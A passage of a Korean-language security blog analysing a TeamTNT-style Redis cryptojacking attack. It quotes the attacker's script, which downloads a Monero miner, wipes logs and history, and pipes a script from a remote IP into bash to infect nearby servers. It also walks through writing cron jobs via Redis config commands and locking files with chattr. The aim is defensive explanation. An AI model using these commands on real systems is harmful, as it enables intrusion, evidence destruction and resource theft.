if [ -f "/etc/zzh" ] then filesize1=`ls -l /etc/zzh | awk '{ print $5 }'` if [ "$filesize1" -ne "$miner_size" ] then pkill -f zzh rm /etc/zzh downloads $miner_url /etc/zzh $miner_url_backup else echo "not need download" fi else downloads $miner_url /etc/zzh $miner_url_backup fi
6. 채굴 시작
chmod 777 /etc/zzh if [ -f "/bin/ps.original" ] then ps.original -fe|grep zzh |grep -v grep else ps -fe|grep zzh |grep -v grep fi if [ $? -ne 0 ] then cd /etc echo "not root runing" sleep 5s # 채굴 시작 ./zzh --log-file=/etc/etc --donate-level 1 --keepalive --no-color --cpu-priority 5 -o xmr.f2pool.com:13531 -u 82et...UG4.clean -k --coin monero -o 139.99.102.72:14433 -u 82etS...wpUG4.clean --tls -k --coin monero -o xmr.pool.gntl.co.uk:10009 -u 87q6a...WMv.clean --tls -k --coin monero -o 80.211.206.105:9000 -u 82etS8...TwpUG4.clean --tls -k --coin monero --background & else echo "root runing....." fi
7. 관련 기록 지우기
history -c # history 메모리에서 삭제 echo > /var/spool/mail/root # root mail 삭제 echo > /var/log/wtmp # 성공한 로그인/로그아웃 정보 삭제, last 명령으로 확인 echo > /var/log/secure # ssh 접속 로그인 인증 기록 삭제 echo > /root/.bash_history # 실행 명령 로그 삭제, history 명령으로 확인 chmod 444 /usr/bin/chattr # 처음에 777로 변경했던 모드를 444로 변경
8. 주변 서버 감염시키기
is.sh를 다운받아 실해해서 주변 서버를 감염시킨다.
$bbdira -fsSL http://45.133.203.192/cleanfda/is.sh | bash
VII. 해킹 방법 추가 설명
- 1. 파일 삭제, 변경 불가능하게 만들기: CHATTR, LSATTR
- 2. 레디스 서버에서 crontab에 저장
- 3. 암호화폐 모네로(Monero XMR) 채굴에 해킹이 이용되는 이유
- 4. 해커 집단: TeamTNT
1. 파일 삭제, 변경 불가능하게 만들기: CHATTR, LSATTR
해킹 프로그램에서 파일에 대한 작업 후 항상 chattr 명령으로 파일을 잠급니다.
- chattr (change attribute): 파일 속성 설정: chattr +/-mode filename
사용 예) chattr +i filename - lsattr (ls attribute): 파일 속성 확인: lsattr filename
i (immutable)모드을 사용하면 쓰기, 삭제, 이름 변경 할 수 없습니다.
일반 user가 이 모드를 걸어놓으면 root도 해당 파일을 삭제, 변경할 수 없습니다.
물론 chattr -i filename으로 잠금해제를 하면 삭제가능합니다.
chattr 명령이 일반적으로 많이 알려져 있지 않으므로 관리자가 이 명령을 모르면 당황하게 됩니다.
아래는 일반 user로 만든 파일을 root도 삭제하지 못하는 경우의 예입니다.
[redis@CentOS8 ~]$ echo 111 > a.txt -> 파일 생성 [redis@CentOS8 ~]$ cat a.txt 111 [redis@CentOS8 ~]$ sudo chattr +i a.txt -> 잠금 설정 [redis@CentOS8 ~]$ sudo -i -> root로 변경 [root@CentOS8 ~]# cd /app/redis [root@CentOS8 redis]# cat a.txt -> 내용 확인 111 [root@CentOS8 redis]# rm a.txt -> 삭제 시도 rm: cannot remove 'a.txt': Operation not permitted(명령을 허용하지 않음) [root@CentOS8 redis]# mv a.txt b.txt -> 이름 변경 시도 mv: cannot move 'a.txt' to 'b.txt': Operation not permitted(명령을 허용하지 않음) [root@CentOS8 redis]# echo 222 > a.txt -> 내용 변경 시도 -bash: a.txt: Operation not permitted(명령을 허용하지 않음) [root@CentOS8 redis]# lsattr a.txt -> 속성 확인 ----i--------------- a.txt [root@CentOS8 redis]# chattr -i a.txt -> 잠금 해제 [root@CentOS8 redis]# [root@CentOS8 redis]# lsattr a.txt -> 속성 확인 -------------------- a.txt [root@CentOS8 redis]# rm a.txt -> 삭제 가능 [root@CentOS8 redis]#
crontab 파일, /root/.ssh/authorized_keys 파일 등도 chattr +i로 잠가 놓으면 수정할 수 없습니다.
2. 레디스 서버에서 crontab에 저장
레디스 명령을 이용해서 crontab에 해킹 프로그램을 다운 받아 실행하도록 저장합니다.
파일 앞, 뒤로 dump 파일의 헤더와 파일 끝 정보 문자들이 있지만 실행되는데는 문제없습니다.
아래와 같이 가능한 모든 crontab에 저장합니다.
/var/spool/cron/
/var/spool/cron/crontabs
/etc/crontab
/etc/cron.d/
crontab 설정 정의 # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * command to be executed * * * * * cron_test.sh 매분마다 실행 */3 * * * * cron_test.sh 3분마다 실행
cron으로 실행할 파일을 만듭니다. # vi /app/redis/cron_test.sh DATE1=`/bin/date +%Y-%m-%d` DATE2=`/bin/date +%H:%M:%S` echo cron run - $DATE1 $DATE2 >> /app/redis/cron_test.txt 실행 가능하도록 모드를 변경합니다. # chmod 755 /app/redis/cron_test.sh redis-cli를 시작해서 아래 명령들을 입력합니다. # redis-cli > config set stop-writes-on-bgsave-error no > flushall > set backup1 "\n\n\n* * * * * /app/redis/cron_test.sh\n\n" > config set dir "/var/spool/cron/" > config set dbfilename root > save > exit 파일을 확인합니다. [root@CentOS8 ~]# ls -l /var/spool/cron/* -rw-r--r--. 1 root root 145 Jan 5 16:17 /var/spool/cron/root 내용을 보면 파일 앞, 뒤로 dump 파일의 헤더와 파일 끝 정보 문자들이 있지만 실행되는데는 문제없습니다. [root@CentOS8 ~]# cat /var/spool/cron/root REDIS0009 redis-ver5.0.8 redis-bits¶used-memP aof-preamble~𡠣kup1& * * * * * /app/redis/cron_test.sh ÿ ŚnZC[root@CentOS8 ~]# crontab -l로 내용을 확인할 수 있습니다. [root@CentOS8 ~]# crontab -l REDIS0009 redis-ver5.0.8 redis-bits¶used-memP aof-preamble~𡠣kup1& * * * * * /app/redis/cron_test.sh ÿ ŚnZC[root@CentOS8 cron]# 이후로 매분마다 cron_test.sh파일이 실행되어 cron_test.txt 파일에 내용이 추가됩니다. [root@CentOS8 cron]# tail -f /app/redis/cron_test.txt cron run - 2023-01-05 16:18:01 cron run - 2023-01-05 16:19:01 cron run - 2023-01-05 16:20:01 cron run - 2023-01-05 16:21:02
3. 암호화폐 모네로(Monero XMR) 채굴에 해킹이 이용되는 이유
- 모네로는 일반 CPU에서도 채굴 가능.
비트코인은 ASIC(디지털자산 채굴을 위한 주문형 반도체) 칩을 사용해야 효과적이다. - 모네로는 익명성에 중점을 두고 설계되었기 때문에 private key 없이는 송신주소, 수신주소를 알 수 없다.
익명성이 보장되는 CryptoNote 프로토콜로 송금 증명을 한다. 작업 증명에는 CryptoNight 기법을 사용한다.
4. 해커 집단: TeamTNT
TeamTNT로 알려져 있습니다. 아래는 TeamTNT 관련 글들입니다.
- www.lacework.com
TeamTNT는 계속해서 노출된 Docker API를 표적으로 삼고 있습니다.
레이스워크 연구소 2021년 10월 25일 - unit42.paloaltonetworks.com
Black-T: TeamTNT의 새로운 크립토재킹 변종
AWS 자격 증명 도용 , Crytojacking , 노출된 Docker Daemon API , 메모리 암호 스크래핑
UNIT42 2020년 10월 5일 - blog.aquasec.com
위협 경고: TeamTNT가 돌아왔고 취약한(Vulnerable) Redis 서버를 공격하고 있습니다.
Aqua 2020년 9월 30일 - securitynews.sonicwall.com
크립토재커는 ALIBABA CLOUD를 실행하는 서버를 표적으로 삼습니다.
2021년 11월 19일 - blog.alyac.co.kr
TeamTNT 봇넷, Docker API와 AWS 크리덴셜 훔쳐
ESTsecurity 2021년 1월 11일
VIII. 해킹 스크립트 소스
1. is.sh
해킹 공격하기 위한 준비 스크립트 - 190줄
2. rs.sh
레디스 서버에 해킹 공격 - 117줄
3. init.sh
암호화폐 채굴 프로그램 실행 - 1030줄
해킹 관련 기사
1. "리눅스 서버 수천대 감염시킨 가상화폐 채굴 악성코드 ‘퍼프ctl’…3년간 은밀하게 활동"
기사 요약: Redis를 해킹한다는 직접적인 언급은 없지만, 위에서 설명한 모네로를 채굴하고
교묘해지는 해킹 방법을 아는데 도움이 될거 같아 여기에 올립니다.
아래는 기사 중 일부입니다.
3년 넘게 리눅스(Linux) 서버와 워크스테이션을 대상으로 한 악성코드 “퍼프ctl(perfctl)”이 루트킷(rootkit)과 고도의
난독화 기법을 사용하여 대부분 탐지되지 않은 채 활동해온 것으로 밝혀졌다.
이 악성코드는 주로 모네로(Monero) 암호화폐를 채굴하기 위해 사용되었지만,
전문가들은 이를 악용한 더 심각한 공격도 가능하다고 경고했다.
퍼프ctl은 주로 잘못 구성된 서버를 타깃으로 하며, 노출된 자격 증명이나 로그인 인터페이스와 같은 공개된 비밀 정보를 악용한다.
아쿠아 노틸러스에 따르면, 퍼프ctl은 CVE-2023-33246과 같은 원격 명령 실행 취약점이 있는
아파치 로켓MQ(Apache RocketMQ) 서버와 CVE-2021-4034라는 권한 상승 취약점이 있는 폴킷(Polkit)을 주로 이용한다.
이러한 취약점을 악용하면 공격자는 “httpd”라는 파일명을 가진 페이로드를 다운로드한 후 실행시킨다.
이 페이로드는 일반적인 시스템 프로세스로 위장하여 “sh”라는 이름으로 /tmp 디렉터리에 복사되어 탐지를 피한다.
퍼프ctl은 탐지나 삭제 시도에도 불구하고 추가적인 복사본을 /root/.config, /usr/bin/, /usr/lib/와 같은
중요한 시스템 디렉터리에 생성하여 영속성을 유지한다.
이 악성코드는 유닉스(Unix) 소켓을 통해 토르 네트워크를 사용해 명령 및 제어(C2) 서버와 암호화된 통신을 설정하며,
이를 통해 통신을 해독하는 것이 거의 불가능해진다.
또한, 퍼프ctl은 시스템 기능을 가로채고 네트워크 트래픽을 조작할 수 있는 루트킷 'libgcwrap.so'을 사용하여
인증 체계를 우회한다.
이외에도 ldd, top, crontab, lsof와 같은 정상적인 시스템 유틸리티를 악성 버전으로 교체해 사용자 도구에서
악성코드의 프로세스를 숨김으로써 탐지를 더욱 어렵게 만든다.
악성코드가 설치되면 XMRIG 채굴기를 배포하여 시스템의 CPU 리소스를 사용해 모네로를 채굴한다.
채굴기는 TOR을 통해 모네로 채굴 풀과 통신하므로 네트워크 트래픽이 숨겨지며, 암호화폐 수익 또한 추적되지 않는다.
이외에도 아쿠아 노틸러스는 퍼프ctl이 때때로 프록시 재킹(proxy-jacking) 소프트웨어를 배포해
공격자가 Bitping, Repocket과 같은 서비스로 네트워크 대역폭을 판매하는 추가적인 수익 경로를 구축하는 사례를 발견했다.
시스템 관리자는 서버의 CPU 사용량이 100%로 치솟을 때 이상을 감지하지만,
이 악성코드는 사용자가 서버에 로그인하는 즉시 암호화폐 채굴 활동을 중단하도록 설계되어 있어 실시간으로 탐지하기 어렵다.
사용자가 로그아웃하면 채굴은 몇 초 또는 몇 분 후 다시 시작된다.
한 레딧 사용자는 “내 모니터링 시스템이 CPU 사용량 100%를 경고했을 때 악성코드의 존재를 알게 됐다.
그러나 SSH나 콘솔로 로그인하면 즉시 프로세스가 중단되었다”고 밝혔다.
CPU를 100% 사용하고 있는 사진 등 실제 감염 사례가 나와있다. 2022년 3월 2일